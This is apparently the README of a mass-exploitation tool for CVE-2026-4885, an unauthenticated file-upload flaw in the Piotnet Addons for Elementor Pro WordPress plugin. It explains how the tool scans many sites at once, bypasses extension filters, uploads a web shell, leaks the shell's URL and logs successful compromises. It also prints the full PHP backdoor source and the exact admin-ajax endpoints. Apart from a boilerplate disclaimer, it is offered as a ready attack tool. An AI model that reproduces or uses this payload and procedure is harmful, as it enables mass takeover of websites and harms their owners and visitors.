CVE-2026-4885 – Piotnet Addons for Elementor Pro 大量悪用ツール

Piotnet Addons for Elementor Pro ≤ 7.1.70 における、認証不要の任意ファイルアップロードによるリモートコード実行（RCE）を利用します。

このツールは大量悪用を目的として設計されています。ターゲットのリストを渡すと、自動的に以下の処理を実行します。

プラグインのバージョン検出（または、アセットが見つかった場合は脆弱性ありと推定）
post_id、form_id、正しいアップロードフィールド名を抽出する高度な偵察
複数のPHP拡張子（.phtml、.php3、.php4、.phps、.pht、.php2）を試行し、不十分なフィルターをバイパス
GIF89a ヘッダー付き PHP シェルをアップロード（組み込みのため外部ファイル不要）
pafe_export_database 経由でアップロードしたシェルのURLを漏洩
シェルの実行を検証（Logic_Internet という文字列を確認）し、URL を shells.txt に保存

⚠️ 免責事項 このツールは教育目的および許可を得たセキュリティテスト専用です。自分が所有していないシステムへの不正使用は違法です。

詳細な免責事項は Jenderal92 のカバーに記載されています。こちらで確認できます。

特徴

Python 2.7 対応（print/input を調整すれば Python 3 でも動作）
マルチスレッド – 最大20のターゲットを同時にスキャン＆悪用
スマートなフォーム検出 – Piotnet 固有の HTML 属性（data-pafe-form-builder-field-name、data-elementor-id など）を解析
外部シェルファイル不要 – PHP ペイロードはスクリプトに埋め込み
URL スキーム自動補完 – 欠落している https:// を自動追加
広範なパスリスト – 22の一般的なフォーム URL を含む（/contact、/apply、/quote、/book-appointment など）
漏洩パターン – wp-content/uploads/piotnet-addons-for-elementor/ と直接ルートパスの両方に一致

必要条件

Python 2.7（または若干の変更を加えた Python 3）
requests ライブラリ

pip install requests

インストール

git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885

使用方法

ターゲットファイルを準備します

targets.txt（または任意の名前）というファイルを作成し、1行に1つのURLを記述します。

https://example1.com
example2.com
http://vulnerable-site.org

エクスプロイトを実行します

python2 CVE-2026-4885.py targets.txt

スクリプトは以下を行います。

各ターゲットの進行状況を表示
成功したシェル URL を shells.txt に保存

出力例

[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml

コマンドラインオプション（スクリプト内でカスタマイズ可能）

変数説明デフォルト値 TIMEOUT HTTP リクエストのタイムアウト 10 秒 MAX_THREADS 同時実行スレッド数 20 OUTPUT_FILE 成功したシェル URL の保存先 shells.txt EXT_LIST 試行するファイル拡張子 .phtml, .php3, .php4, .phps, .pht, .php2

これらはスクリプトの先頭部分を編集することで変更できます。

シェルペイロード

組み込みシェルは次のとおりです。

GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

サーバー情報、現在の作業ディレクトリ、ファイルアップロードフォームを表示します。
他の任意の PHP コードに置き換え可能です（スクリプト内の SHELL_CODE を変更するだけです）。

仕組み

バージョン検出
- ホームページでプラグインアセット内の ?ver= を検索します。
- 既知の CSS/JS ファイルの存在確認にフォールバックします。
偵察
- 一般的なフォームページと、ホームページで見つかったすべての内部リンクをクロールします。
- Piotnet 固有の HTML 属性から post_id、form_id、正しいファイルアップロードフィールド名を抽出します。
アップロード
- multipart POST リクエストを wp-admin/admin-ajax.php?action=pafe_ajax_form_builder に送信します。
- プラグインのアップロードメカニズムを模倣した JSON ペイロードを使用します。
- EXT_LIST 内のすべての拡張子を、成功するまで試行します。
漏洩
- pafe_export_database をリクエストし、アップロードしたファイルの完全な URL を含む CSV を取得します。
- xxx-{random}.ext に一致する正規表現パターンを使用して URL を解析します。
検証
- 漏洩した URL にアクセスします。
- Logic_Internet 文字列の存在を確認します。
- 成功した場合、URL を shells.txt に保存します。

トラブルシューティング

Windows での UnicodeEncodeError

スクリプトには非 ASCII 文字を処理する safe_unicode() 関数が既に含まれています。それでもエラーが発生する場合は、ターミナルが UTF-8 をサポートしていることを確認してください。

chcp 65001

フォームが見つからない / すべての拡張子が失敗する

ターゲットがパッチ適用済みであるか、Piotnet Addons を使用していない可能性があります。
TIMEOUT または MAX_THREADS を増やしてみてください。
プラグインが実際にインストールされているか手動で確認してください。

漏洩は失敗するがアップロードは成功する

pafe_export_database エンドポイントが無効化または保護されている可能性があります。
ブラウザで手動で /wp-admin/admin-ajax.php?action=pafe_export_database にアクセスし、アクセス可能かどうか確認してみてください。

法的・倫理的利用

このツールは、テストする書面による許可を得たシステムでのみ使用してください。
作者は、不正使用または損害について一切の責任を負いません。
適用されるすべての法律を尊重してください。

CVE-2026-4885

人気

CVE-2026-4885 – Piotnet Addons for Elementor Pro 大量悪用ツール

特徴

必要条件